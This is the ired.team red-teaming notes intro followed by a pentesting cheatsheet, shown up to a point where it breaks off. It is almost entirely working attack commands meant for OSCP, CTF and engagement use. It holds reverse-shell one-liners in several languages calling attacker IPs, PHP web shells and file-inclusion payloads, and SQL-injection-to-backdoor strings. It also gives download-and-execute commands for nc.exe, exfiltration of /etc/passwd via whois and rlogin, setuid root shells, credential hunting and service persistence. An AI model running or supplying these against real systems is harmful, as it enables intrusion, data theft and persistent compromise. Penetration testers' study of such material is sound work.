# What is ired.team notes?

These are notes about all things focusing on, but not limited to, red teaming and offensive security.

This is publicly accessible personal red teaming notes at <https://ired.team> and <https://github.com/mantvydasb/RedTeam-Tactics-and-Techniques> about my pentesting / red teaming experiments in a controlled environment that involve playing with various tools and techniques used by penetration testers, red teams and actual adversaries.

This is my way of learning things - by doing, following, tinkering, exploring, repeating and taking notes.

At ired.team, I explore some of the common offensive security techniques involving gaining code execution, code injection, defense evasion, lateral movement, persistence and more.

Most of these techniques are discovered by other security researchers and I do not claim their ownership. I try to reference the sources I use the best I can, but if you think I've missed something, please get in touch and I will fix it immediately.

{% hint style="warning" %}

* Do not take everything or anything in these notes for **granted.**
* Do not expect the notes to be exhaustive or covering the techniques or the artifacts they produce in full.
* Expect mistakes in the notes.
* Always consult additional resources.
  {% endhint %}

{% hint style="danger" %}
**Warning**\
[ired.team](https://ired.team) Red Teaming Experiments GitBook is created by [@spotheplanet](https://twitter.com/spotheplanet). \
Cloning it and presenting it as your own is illegal and strictly forbidden, don't do it.
{% endhint %}

{% hint style="success" %}
**Support and Donations**

If you appreciate ired.team and would like to show support, you can do it via my:

* [Patreon](http://patreon.com/iredteam)
* paypal <mantvydo@gmail.com>
  {% endhint %}

## The Goal

The goal of this project is simple - read other researchers work, execute some common/uncommon attacking techniques in a lab environment, do my own reasearch and:

* understand how various cyber attacks and techniques can be executed and how they work
* learn about how malware is written
* write code to further understand the tools and techniques used by attackers and malware authors
* learn more about C++, Windows internals and Windows APIs
* see what artifacts the techniques and tools leave behind on the endpoint
* try out various industry tools for pentesting, coding, debugging, reverse engineering, malware analysis, and become more profficient in using them
* take notes for future reference

## Social

Follow me on twitter:

{% embed url="<https://twitter.com/spotheplanet>" %}


# Pentesting Cheatsheets

Convenient commands for your pentesting / red-teaming engagements, OSCP and CTFs.

## Reconnaissance / Enumeration

### Extracting Live IPs from Nmap Scan

```bash
nmap 10.1.1.1 --open -oG scan-results; cat scan-results | grep "/open" | cut -d " " -f 2 > exposed-services-ips
```

### Simple Port Knocking

```bash
for x in 7000 8000 9000; do nmap -Pn –host_timeout 201 –max-retries 0 -p $x 1.1.1.1; done
```

### DNS lookups, Zone Transfers & Brute-Force

```bash
whois domain.com
dig {a|txt|ns|mx} domain.com
dig {a|txt|ns|mx} domain.com @ns1.domain.com
host -t {a|txt|ns|mx} megacorpone.com
host -a megacorpone.com
host -l megacorpone.com ns1.megacorpone.com
dnsrecon -d megacorpone.com -t axfr @ns2.megacorpone.com
dnsenum domain.com
nslookup -> set type=any -> ls -d domain.com
for sub in $(cat subdomains.txt);do host $sub.domain.com|grep "has.address";done
```

### Banner Grabbing

```bash
nc -v $TARGET 80
telnet $TARGET 80
curl -vX $TARGET
```

### NFS Exported Shares

List NFS exported shares:

```bash
showmount -e 192.168.110.102
```

...and check if `'rw,no_root_squash'` is present. If it is present, compile the below `sid-shell.c`:

{% code title="sid-shell.c" %}

```cpp
#include <unistd.h>

main( int argc, char ** argv, char ** envp )
{
    setgid(0); setuid(0); system("/bin/bash", argv, envp);
    return 0;
}
```

{% endcode %}

...upload it to the share and execute the below to launch `sid-shell` to spawn a root shell:

```bash
chown root:root sid-shell; chmod +s sid-shell; ./sid-shell
```

### Kerberos Enumeration

```bash
# users
nmap $TARGET -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='test'
```

### HTTP Brute-Force & Vulnerability Scanning

```bash
target=10.0.0.1; gobuster -u http://$target -r -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt -t 150 -l | tee $target-gobuster
target=10.0.0.1; nikto -h http://$target:80 | tee $target-nikto
target=10.0.0.1; wpscan --url http://$target:80 --enumerate u,t,p | tee $target-wpscan-enum
```

### RPC / NetBios / SMB

```bash
rpcinfo -p $TARGET
nbtscan $TARGET

#list shares
smbclient -L //$TARGET -U ""

# null session
rpcclient -U "" $TARGET
smbclient -L //$TARGET
enum4linux $TARGET
```

### SNMP

```bash
# Windows User Accounts
snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.25

# Windows Running Programs
snmpwalk -c public -v1 $TARGET 1.3.6.1.2.1.25.4.2.1.2

# Windows Hostname
snmpwalk -c public -v1 $TARGET .1.3.6.1.2.1.1.5

# Windows Share Information
snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.3.1.1

# Windows Share Information
snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.27

# Windows TCP Ports
snmpwalk -c public -v1 $TARGET4 1.3.6.1.2.1.6.13.1.3

# Software Name
snmpwalk -c public -v1 $TARGET 1.3.6.1.2.1.25.6.3.1.2

# brute-force community strings
onesixtyone -i snmp-ips.txt -c community.txt

snmp-check $TARGET
```

### SMTP

```bash
smtp-user-enum -U /usr/share/wordlists/names.txt -t $TARGET -m 150
```

### Active Directory

```
# current domain info
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

# domain trusts
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

# current forest info
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()

# get forest trust relationships
([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', 'forest-of-interest.local')))).GetAllTrustRelationships()

# get DCs of a domain
nltest /dclist:offense.local
net group "domain controllers" /domain

# get DC for currently authenticated session
nltest /dsgetdc:offense.local

# get domain trusts from cmd shell
nltest /domain_trusts

# get user info
nltest /user:"spotless"

# get DC for currently authenticated session
set l

# get domain name and DC the user authenticated to
klist

# get all logon sessions. Includes NTLM authenticated sessions
klist sessions

# kerberos tickets for the session
klist

# cached krbtgt
klist tgt

# whoami on older Windows systems
set u

# find DFS shares with ADModule
Get-ADObject -filter * -SearchBase "CN=Dfs-Configuration,CN=System,DC=offense,DC=local" | select name

# find DFS shares with ADSI
$s=[adsisearcher]'(name=*)'; $s.SearchRoot = [adsi]"LDAP://CN=Dfs-Configuration,CN=System,DC=offense,DC=local"; $s.FindAll() | % {$_.properties.name}

# check if spooler service is running on a host
powershell ls "\\dc01\pipe\spoolss"
```

### Listen on a port (Powershell)

```csharp
# Start listener on port 443
$listener = [System.Net.Sockets.TcpListener]443; $listener.Start();
 
while($true)
{
    $client = $listener.AcceptTcpClient();
    Write-Host $client.client.RemoteEndPoint "connected!";
    $client.Close();
    start-sleep -seconds 1;
}
```

## Gaining Access

### Reverse Shell One-Liners

#### Bash

```bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
```

#### Perl

```bash
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

#### URL-Encoded Perl: Linux

```bash
echo%20%27use%20Socket%3B%24i%3D%2210.11.0.245%22%3B%24p%3D443%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2fbin%2fsh%20-i%22%29%3B%7D%3B%27%20%3E%20%2ftmp%2fpew%20%26%26%20%2fusr%2fbin%2fperl%20%2ftmp%2fpew
```

#### Python

```bash
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

#### PHP

```bash
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
```

#### Ruby

```bash
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```

#### Netcat without -e #1

```bash
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f
```

#### Netcat without -e #2

```bash
nc localhost 443 | /bin/sh | nc localhost 444
telnet localhost 443 | /bin/sh | telnet localhost 444
```

#### Java

```bash
r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]); p.waitFor();
```

#### XTerm

```bash
xterm -display 10.0.0.1:1
```

### JDWP RCE

```java
print new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("whoami").getInputStream())).readLine())
```

### Working with Restricted Shells

```bash
# rare cases
ssh bill@localhost ls -l /tmp
```

```bash
nice /bin/bash
```

### Interactive TTY Shells

```bash
/usr/bin/expect sh
```

```python
python -c ‘import pty; pty.spawn(“/bin/sh”)’
# execute one command with su as another user if you do not have access to the shell. Credit to g0blin.co.uk
python -c 'import pty,subprocess,os,time;(master,slave)=pty.openpty();p=subprocess.Popen(["/bin/su","-c","id","bynarr"],stdin=slave,stdout=slave,stderr=slave);os.read(master,1024);os.write(master,"fruity\n");time.sleep(0.1);print os.read(master,1024);'
```

### Uploading/POSTing Files Through WWW Upload Forms

```bash
# POST file
curl -X POST -F "file=@/file/location/shell.php" http://$TARGET/upload.php --cookie "cookie"

# POST binary data to web form
curl -F "field=<shell.zip" http://$TARGET/upld.php -F 'k=v' --cookie "k=v;" -F "submit=true" -L -v
```

### PUTing File on the Webhost via PUT verb

```bash
curl -X PUT -d '<?php system($_GET["c"]);?>' http://192.168.2.99/shell.php
```

### Generating Payload Pattern & Calculating Offset

```bash
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q $EIP_VALUE
```

### Bypassing File Upload Restrictions

* file.php -> file.jpg
* file.php -> file.php.jpg
* file.asp -> file.asp;.jpg
* file.gif (contains php code, but starts with string GIF/GIF98)
* 00%
* file.jpg with php backdoor in exif (see below)
* .jpg -> proxy intercept -> rename to .php

### Injecting PHP into JPEG

```bash
exiv2 -c'A "<?php system($_REQUEST['cmd']);?>"!' backdoor.jpeg
exiftool “-comment<=back.php” back.png
```

### Uploading .htaccess to interpret .blah as .php

```
AddType application/x-httpd-php .blah
```

### Cracking Passwords

#### Cracking Web Forms with Hydra

```bash
hydra 10.10.10.52 http-post-form -L /usr/share/wordlists/list "/endpoint/login:usernameField=^USER^&passwordField=^PASS^:unsuccessfulMessage" -s PORT -P /usr/share/wordlists/list
```

#### Cracking Common Protocols with Hydra

```bash
hydra 10.10.10.52 -l username -P /usr/share/wordlists/list ftp|ssh|smb://10.0.0.1
```

#### HashCat Cracking

```bash
# Bruteforce based on the pattern;
hashcat -a3 -m0 mantas?d?d?d?u?u?u --force --potfile-disable --stdout  

# Generate password candidates: wordlist + pattern;
hashcat -a6 -m0 "e99a18c428cb38d5f260853678922e03" yourPassword|/usr/share/wordlists/rockyou.txt ?d?d?d?u?u?u --force --potfile-disable --stdout

# Generate NetNLTMv2 with internalMonologue and crack with hashcat
InternalMonologue.exe -Downgrade False -Restore False -Impersonate True -Verbose False -challange 002233445566778888800
# resulting hash
spotless::WS01:1122334455667788:26872b3197acf1da493228ac1a54c67c:010100000000000078b063fbcce8d4012c90747792a3cbca0000000008003000300000000000000001000000002000006402330e5e71fb781eef13937448bf8b0d8bc9e2e6a1e1122fd9d690fa9178c50a0010000000000000000000000000000000000009001a0057005300300031005c00730070006f0074006c006500730073000000000000000000

# crack with hashcat
hashcat -m5600 'spotless::WS01:1122334455667788:26872b3197acf1da493228ac1a54c67c:010100000000000078b063fbcce8d4012c90747792a3cbca0000000008003000300000000000000001000000002000006402330e5e71fb781eef13937448bf8b0d8bc9e2e6a1e1122fd9d690fa9178c50a0010000000000000000000000000000000000009001a0057005300300031005c00730070006f0074006c006500730073000000000000000000' -a 3 /usr/share/wordlists/rockyou.txt --force --potfile-disable
```

### Generating Payload with msfvenom

```bash
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.245 LPORT=443 -f c -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai
```

### Compiling Code From Linux

```bash
# Windows
i686-w64-mingw32-gcc source.c -lws2_32 -o out.exe

# Linux
gcc -m32|-m64 -o output source.c
```

### Compiling Assembly from Windows

```
# https://www.nasm.us/pub/nasm/releasebuilds/?C=M;O=D
nasm -f win64 .\hello.asm -o .\hello.obj

# http://www.godevtool.com/Golink.zip
GoLink.exe -o .\hello.exe .\hello.obj
```

### Local File Inclusion to Shell

```bash
nc 192.168.1.102 80
GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1
Host: 192.168.1.102
Connection: close

# Then send as cmd payload via http://192.168.1.102/index.php?page=../../../../../var/log/apache2/access.log&cmd=id
```

### Local File Inclusion: Reading Files

```bash
file:///etc/passwd

http://example.com/index.php?page=php://input&cmd=ls
    POST: <?php system($_GET['cmd']); ?>
http://192.168.2.237/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
    POST: <?php system('uname -a');die(); ?>

expect://whoami
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=&cmd=id
http://10.1.1.1/index.php?page=data://text/plain,%3C?php%20system%28%22uname%20-a%22%29;%20?%3E

# ZIP Wrapper
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;  
zip payload.zip payload.php;   
mv payload.zip shell.jpg;    
http://example.com/index.php?page=zip://shell.jpg%23payload.php

# Loop through file descriptors
curl '' -H 'Cookie: PHPSESSID=df74dce800c96bcac1f59d3b3d42087d' --output -
```

### Remote File Inclusion Shell: Windows + PHP

```php
<?php system("powershell -Command \"& {(New-Object System.Net.WebClient).DownloadFile('http://10.11.0.245/netcat/nc.exe','nc.exe'); cmd /c nc.exe 10.11.0.245 4444 -e cmd.exe\" }"); ?>
```

### SQL Injection to Shell or Backdoor

```sql
# Assumed 3 columns
http://target/index.php?vulnParam=0' UNION ALL SELECT 1,"<?php system($_REQUEST['cmd']);?>",2,3 INTO OUTFILE "c:/evil.php"-- uMj
```

```bash
# sqlmap; post-request - captured request via Burp Proxy via Save Item to File.
sqlmap -r post-request -p item --level=5 --risk=3 --dbms=mysql --os-shell --threads 10
```

```bash
# netcat reverse shell via mssql injection when xp_cmdshell is available
1000';+exec+master.dbo.xp_cmdshell+'(echo+open+10.11.0.245%26echo+anonymous%26echo+whatever%26echo+binary%26echo+get+nc.exe%26echo+bye)+>+c:\ftp.txt+%26+ftp+-s:c:\ftp.txt+%26+nc.exe+10.11.0.245+443+-e+cmd';--
```

### SQLite Injection to Shell or Backdoor

```sql
ATTACH DATABASE '/home/www/public_html/uploads/phpinfo.php' as pwn; 
CREATE TABLE pwn.shell (code TEXT); 
INSERT INTO pwn.shell (code) VALUES ('<?php system($_REQUEST['cmd']);?>');
```

### MS-SQL Console

```bash
mssqlclient.py -port 27900 user:password@10.1.1.1
sqsh -S 10.1.1.1 -U user -P password
```

### Upgradig Non-Interactive Shell

```bash
python -c 'import pty; pty.spawn("/bin/sh")'
/bin/busybox sh
```

### Python Input Code Injection

```python
__import__('os').system('id')
```

## Local Enumeration & Privilege Escalation

![https://github.com/sagishahar/lpeworkshop](/files/-LSPPIibuw-2XN2-WKC6)

### Check AppLocker Policies

```
Get-AppLockerPolicy -Local).RuleCollections
Get-ChildItem -Path HKLM:Software\Policies\Microsoft\Windows\SrpV2 -Recurse
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe\
```

### Applocker: Writable Windows Directories

```
# list from https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md
C:\Windows\Tasks
C:\Windows\Temp
C:\windows\tracing
C:\Windows\Registration\CRMLog
C:\Windows\System32\FxsTmp
C:\Windows\System32\com\dmp
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\PRINTERS
C:\Windows\System32\spool\SERVERS
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\System32\Tasks_Migrated (after peforming a version upgrade of Windows 10)
C:\Windows\SysWOW64\FxsTmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System
```

### Find Writable Files/Folders in Windows

```csharp
$a = Get-ChildItem "c:\windows\" -recurse -ErrorAction SilentlyContinue
$a | % {
    $fileName = $_.fullname
    $acls = get-acl $fileName  -ErrorAction SilentlyContinue | select -exp access | ? {$_.filesystemrights -match "full|modify|write" -and $_.identityreference -match "authenticated users|everyone|$env:username"}
    if($acls -ne $null)
    {
        [pscustomobject]@{
            filename = $fileName
            user = $acls | select -exp identityreference
        }
    }
}
```

### Check if Powershell Logging is Enabled

```
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
```

### Check WinEvent Logs for SecureString Exposure

```csharp
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104} | Select-Object -Property Message | Select-String -Pattern 'SecureString'
```

### Check WinEvent for Machine Wake/Sleep times

```csharp
Get-WinEvent -FilterHashTable @{ ProviderName = 'Microsoft-Windows-Power-TroubleShooter'  ; Id = 1 }|Select-Object -Property @{n='Sleep';e={$_.Properties[0].Value}},@{n='Wake';e={$_.Properties[1].Value}}
```

### Audit Policies

```
auditpol /get /category:*
```

### Check if LSASS is running in PPL

```
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL
```

### Binary Exploitation with ImmunityDebugger

#### Get Loaded Modules

```
# We're interested in modules without protection, Read & Execute permissions
!mona modules
```

#### Finding JMP ESP Address

```
!mona find -s "\xFF\xE4" -m moduleName
```

### Cracking a ZIP Password

```bash
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt bank-account.zip
```

### Setting up Simple HTTP server

```bash
# Linux
python -m SimpleHTTPServer 80
python3 -m http.server
ruby -r webrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"
php -S 0.0.0.0:80
```

### MySQL User Defined Fuction Privilge Escalation

Requires raptor\_udf2.c and sid-shell.c or full raptor.tar:

{% file src="/files/-LxBMOA8UpvEQqTwR\_Cb" %}

{% file src="/files/-LxBMWhbCipw0IiI1Acp" %}

```erlang
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
```

```erlang
use mysql;
create table npn(line blob);
insert into npn values(load_file('/tmp/raptor_udf2.so'));
select * from npn into dumpfile '/usr/lib/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select do_system('chown root:root /tmp/sid-shell; chmod +s /tmp/sid-shell');
```

### Docker Privilege Esclation

```bash
echo -e "FROM ubuntu:14.04\nENV WORKDIR /stuff\nRUN mkdir -p /stuff\nVOLUME [ /stuff ]\nWORKDIR /stuff" > Dockerfile && docker build -t my-docker-image . && docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c 'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh' && ./sh -c id && ./sh
```

### Resetting root Password

```bash
echo "root:spotless" | chpasswd
```

### Uploading Files to Target Machine

#### TFTP

```bash
#TFTP Linux: cat /etc/default/atftpd to find out file serving location; default in kali /srv/tftp
service atftpd start

# Windows
tftp -i $ATTACKER get /download/location/file /save/location/file
```

#### FTP

```bash
# Linux: set up ftp server with anonymous logon access;
twistd -n ftp -p 21 -r /file/to/serve

# Windows shell: read FTP commands from ftp-commands.txt non-interactively;
echo open $ATTACKER>ftp-commands.txt
echo anonymous>>ftp-commands.txt
echo whatever>>ftp-commands.txt
echo binary>>ftp-commands.txt
echo get file.exe>>ftp-commands.txt
echo bye>>ftp-commands.txt 
ftp -s:ftp-commands.txt

# Or just a one-liner
(echo open 10.11.0.245&echo anonymous&echo whatever&echo binary&echo get nc.exe&echo bye) > ftp.txt & ftp -s:ftp.txt & nc.exe 10.11.0.245 443 -e cmd
```

#### CertUtil

```csharp
certutil.exe -urlcache -f http://10.0.0.5/40564.exe bad.exe
```

#### PHP

```php
<?php file_put_contents("/var/tmp/shell.php", file_get_contents("http://10.11.0.245/shell.php")); ?>
```

#### Python

```python
python -c "from urllib import urlretrieve; urlretrieve('http://10.11.0.245/nc.exe', 'C:\\Temp\\nc.exe')"
```

#### HTTP: Powershell

```csharp
powershell -Command "& {(New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/nc.exe','nc.exe'); cmd /c nc.exe $ATTACKER 4444 -e cmd.exe" }
powershell -Command "& {(New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/nc.exe','nc.exe'); Start-Process nc.exe -NoNewWindow -Argumentlist '$ATTACKER 4444 -e cmd.exe'" }
powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/nc.exe','nc.exe')"; Start-Process nc.exe -NoNewWindow -Argumentlist '$ATTACKER 4444 -e cmd.exe'"
powershell (New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/file.exe','file.exe');(New-Object -com Shell.Application).ShellExecute('file.exe');

# download using default proxy credentials and launch
powershell -command { $b=New-Object System.Net.WebClient; $b.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; $b.DownloadString("http://$attacker/nc.exe") | Out-File nc.exe; Start-Process nc.exe -NoNewWindow -Argumentlist '$ATTACKER 4444 -e cmd.exe'" }
```

#### HTTP: VBScript

Copy and paste contents of [wget.vbs](https://github.com/mantvydasb/Offensive-Security-Cheatsheets/blob/master/wget-cscript) into a Windows Shell and then:

```
cscript wget.vbs http://$ATTACKER/file.exe localfile.exe
```

#### HTTP: Linux

```bash
wget http://$ATTACKER/file
curl http://$ATTACKER/file -O
scp ~/file/file.bin user@$TARGET:tmp/backdoor.py
```

#### NetCat

```bash
# Attacker
nc -l -p 4444 < /tool/file.exe

# Victim
nc $ATTACKER 4444 > file.exe
```

#### HTTP: Windows "debug.exe" Method

```bash
# 1. In Linux, convert binary to hex ascii:
wine /usr/share/windows-binaries/exe2bat.exe /root/tools/netcat/nc.exe nc.txt
# 2. Paste nc.txt into Windows Shell.
```

#### HTTP: Windows BitsAdmin

```bash
cmd.exe /c "bitsadmin /transfer myjob /download /priority high http://$ATTACKER/payload.exe %tmp%\payload.exe&start %tmp%\payload.exe
```

#### Wscript Script Code Download & Execution

{% tabs %}
{% tab title="cmd" %}

```
echo GetObject("script:https://bad.com/code.js") > code.js && wscript.exe code.js
```

{% endtab %}

{% tab title="code.js" %}

```markup
<?xml version="1.0"?>
<package>
<component id="PopCalc">
<script language="JScript">
    <![CDATA[
    var r = new ActiveXObject("WScript.Shell").Run("calc"); 
    ]]>
</script>
</component>
</package>
```

{% endtab %}
{% endtabs %}

### Whois Data Exfiltration

```bash
# attacker
nc -l -v -p 43 | sed "s/ //g" | base64 -d
# victim
whois -h $attackerIP -p 43 `cat /etc/passwd | base64`
```

### Cancel Data Exfiltration

```bash
cancel -u "$(cat /etc/passwd)" -h ip:port
```

### rlogin Data Exfiltration

```bash
rlogin -l "$(cat /etc/passwd)" -p port host
```

### Bash Ping Sweeper

```bash
#!/bin/bash
for lastOctet in {1..254}; do 
    ping -c 1 10.0.0.$lastOctet | grep "bytes from" | cut -d " " -f 4 | cut -d ":" -f 1 &
done
```

### Brute-forcing XOR'ed string with 1 byte key in Python

```python
encrypted = "encrypted-string-here"
for i in range(0,255):
    print("".join([chr(ord(e) ^ i) for e in encrypted]))
```

### Generating Bad Character Strings

```python
# Python
'\\'.join([ "x{:02x}".format(i) for i in range(1,256) ])
```

```bash
# Bash
for i in {1..255}; do printf "\\\x%02x" $i; done; echo -e "\r"
```

### Converting Python to Windows Executable (.py -> .exe)

```csharp
python pyinstaller.py --onefile convert-to-exe.py
```

### Port Scanning with NetCat

```csharp
nc -nvv -w 1 -z host 1000-2000
nc -nv -u -z -w 1 host 160-162
```

### Port Scanning with Masscan

```erlang
masscan -p1-65535,U:1-65535 10.10.10.x --rate=1000 -e tun0
```

### Exploiting Vulnerable Windows Services: Weak Service Permissions

```csharp
# Look for SERVICE_ALL_ACCESS in the output
accesschk.exe /accepteula -uwcqv "Authenticated Users" *

sc config [service_name] binpath= "C:\nc.exe 10.11.0.245 443 -e C:\WINDOWS\System32\cmd.exe" obj= "LocalSystem" password= ""
sc qc [service_name] (to verify!)
sc start [service_name]
```

### Find File/Folder Permissions Explicitly Set for a Given User

```csharp
icacls.exe C:\folder /findsid userName-or-*sid /t
//look for (F)ull, (M)odify, (W)rite
```

### AlwaysInstallElevated MSI

```csharp
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated & reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

### Stored Credentials: Windows

```csharp
c:\unattend.xml
c:\sysprep.inf
c:\sysprep\sysprep.xml
dir c:\*vnc.ini /s /b
dir c:\*ultravnc.ini /s /b 
dir c:\ /s /b | findstr /si *vnc.ini

findstr /si password *.txt | *.xml | *.ini
findstr /si pass *.txt | *.xml | *.ini
dir /s *cred* == *pass* == *.conf

# Windows Autologon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

# VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"

# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

# Registry
reg query HKLM /f password /t REG_SZ /s 
reg query HKCU /f password /t REG_SZ /s
```

### Unquoted Service Path

```csharp
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\\" |findstr /i /v """
```

### Persistence via Services

```csharp
# cmd
sc create spotlessSrv binpath= "C:\nc.exe 10.11.0.245 443 -e C:\WINDOWS\System32\cmd.exe" obj= "LocalSystem" password= ""

# powersehll
New-Service -Name EvilName -DisplayName EvilSvc -BinaryPathName "'C:\Program Files\NotEvil\back.exe'" -Description "Not at all"
```

### Port Forwarding / SSH Tunneling

#### SSH: Local Port Forwarding

```bash
# Listen on local port 8080 and forward incoming traffic to REMOT_HOST:PORT via SSH_SERVER
# Scenario: access a host that's being blocked by a firewall via SSH_SERVER;
ssh -L 127.0.0.1:8080:REMOTE_HOST:PORT user@SSH_SERVER
```

#### SSH: Dynamic Port Forwarding

```bash
# Listen on local port 8080. Incoming traffic to 127.0.0.1:8080 forwards it to final destination via SSH_SERVER
# Scenario: proxy your web traffic through SSH tunnel OR access hosts on internal network via a compromised DMZ box;
ssh -D 127.0.0.1:8080 user@SSH_SERVER
```

#### SSH: Remote Port Forwarding

```bash
# Open port 5555 on SSH_SERVER. Incoming traffic to SSH_SERVER:5555 is tunneled to LOCALHOST:3389
# Scenario: expose RDP on non-routable network;
ssh -R 5555:LOCAL_HOST:3389 user@SSH_SERVER
plink -R ATTACKER:ATTACKER_PORT:127.0.01:80 -l root -pw pw ATTACKER_IP
```

#### Proxy Tunnel

```bash
# Open a local port 127.0.0.1:5555. Incoming traffic to 5555 is proxied to DESTINATION_HOST through PROXY_HOST:3128
# Scenario: a remote host has SSH running, but it's only bound to 127.0.0.1, but you want to reach it;
proxytunnel -p PROXY_HOST:3128 -d DESTINATION_HOST:22 -a 5555
ssh user@127.0.0.1 -p 5555
```

#### HTTP Tunnel: SSH Over HTTP

```bash
# Server - open port 80. Redirect all incoming traffic to localhost:80 to localhost:22
hts -F localhost:22 80

# Client - open port 8080. Redirect all incoming traffic to localhost:8080 to 192.168.1.15:80
htc -F 8080 192.168.1.15:80

# Client - connect to localhost:8080 -> get tunneled to 192.168.1.15:80 -> get redirected to 192.168.1.15:22
ssh localhost -p 8080
```

#### Netsh - Windows Port Forwarding

```bash
# requires admin
netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
```

### RunAs / Start Process As

#### PowerShell

```bash
# Requires PSRemoting
$username = 'Administrator';$password = '1234test';$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;Invoke-Command -Credential $credential -ComputerName COMPUTER_NAME -Command { whoami }

# without PSRemoting
cmd> powershell Start-Process cmd.exe -Credential (New-Object System.Management.Automation.PSCredential 'username', (ConvertTo-SecureString 'password' -AsPlainText -Force))

# without PS Remoting, with arguments
cmd> powershell -command "start-process cmd.exe -argumentlist '/c calc' -Credential (New-Object System.Management.Automation.PSCredential 'username',(ConvertTo-SecureString 'password' -AsPlainText -Force))"
```

#### CMD

```bash
# Requires interactive console
runas /user:userName cmd.exe
```

#### PsExec

```csharp
psexec -accepteula -u user -p password cmd /c c:\temp\nc.exe 10.11.0.245 80 -e cmd.exe
```

#### Pth-WinExe

```csharp
pth-winexe -U user%pass --runas=user%pass //10.1.1.1 cmd.exe
```

### Recursively Find Hidden Files: Windows

```bash
dir /A:H /s "c:\program files"
```

### General File Search

```bash
# Query the local db for a quick file find. Run updatedb before executing locate.
locate passwd 

